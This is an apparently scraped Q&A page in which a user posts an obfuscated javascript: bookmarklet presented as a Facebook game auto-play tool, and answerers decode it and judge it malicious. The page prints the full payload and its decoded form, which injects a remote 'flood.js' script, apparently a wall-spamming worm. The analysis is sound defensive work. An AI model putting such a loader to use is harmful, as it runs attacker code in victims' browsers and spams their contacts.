Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Can someone decrypt this javascript

Tags:

javascript

i found it in a forum that tell me that this code would give me auto play for facebook games but i afraid that this is not what they say, im afraid that this is malicious script

please help :)

javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);
like image 730
mbuhasu Avatar asked Jul 02 '11 11:07

mbuhasu


4 Answers

Let's start by decoding the escape sequences, and get rid of that _0x8dd5 variable name:

var x=[
  "src","script","createElement","http://ug-radio.co.cc/flood.js",
  "appendChild","body"
];
(a=(b=document)[x[2]](x[1]))[x[0]]=x[3];
b[x[5]][x[4]](a);
void (0);

Substituting the string from the array, you are left with:

(a=(b=document)["createElement"]("script"))["src"]="http://ug-radio.co.cc/flood.js";
b["body"]["appendChild"](a);
void (0);

So, what the script does is simply:

a = document.createElement("script");
a.src = "http://ug-radio.co.cc/flood.js";
document.body.appendChild(a);
void (0);

I.e. it loads the Javascript http://ug-radio.co.cc/flood.js in the page.

Looking at the script in the file that is loaded, it calls itself "Wallflood By X-Cisadane". It seems to get a list of your friends and post a message to (or perhaps from) all of them.

Certainly nothing to do with auto play for games.

like image 86
Guffa Avatar answered Nov 14 '22 08:11

Guffa


I opened firebug, and pasted part of the script into the console (being careful to only paste the part that created a variable, rather than running code). This is what I got:

what I pasted:

console.log(["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"]);

the result:

["src", "script", "cx7 2eateElement", "x 68ttp://ug-rad io.co.cc/flox 6Fd.js", "appendC x68ild", "body"]

In short, what this looks like is script to load an external Javascript file from a remote server with a very dodgy looking domain name.

There are a few characters which are not converted quite to what you'd expect. This could be typos (unlikely) or deliberate further obfuscation, to fool any automated malware checker looking for scripts containing URLs or references to createElement, etc. The remainder of the script patches those characters back into place individually before running it.

The variable name _0x8dd5 is chosen to look like hex code and make the whole thing harder to read, but in fact it's just a regular Javascript variable name. It is referenced repeatedly in the rest of the script as it copies characters from one part of the string to another to fix the deliberate gaps.

Definitely a malicious script.

I recommend burning it immediately! ;-)

like image 32
Spudley Avatar answered Nov 14 '22 08:11

Spudley


Well, the declared var is actually this:

var _0x8dd5= [
    'src', 'script', 'cx7 2eateElement',
    'x 68ttp://ug-rad io.co.cc/flox 6Fd.js', 'appendC x68ild', 'body'
];

The rest is simple to figure out.

like image 24
Ionuț G. Stan Avatar answered Nov 14 '22 09:11

Ionuț G. Stan


Well your first statement is setting up an array with roughly the following contents:

var _0x8dd5 = ["src", "script", "createElement", "http://ug-radio.co.cc/flood.js", "appendChild", "body"];

I say "roughly" because I'm using Chrome's JavaScript console to parse the data, and some things seem to be a bit garbled. I've cleaned up the garbled portions as best as I can.

The rest appears to be calling something along the lines of:

var b = document;
var a = b.createElement("script");
a.src = "http://ug-radio.co.cc/flood.js";
b.body.appendChild(a);

So basically, it is adding a (probably malicious) script to the document.

like image 1
aroth Avatar answered Nov 14 '22 09:11

aroth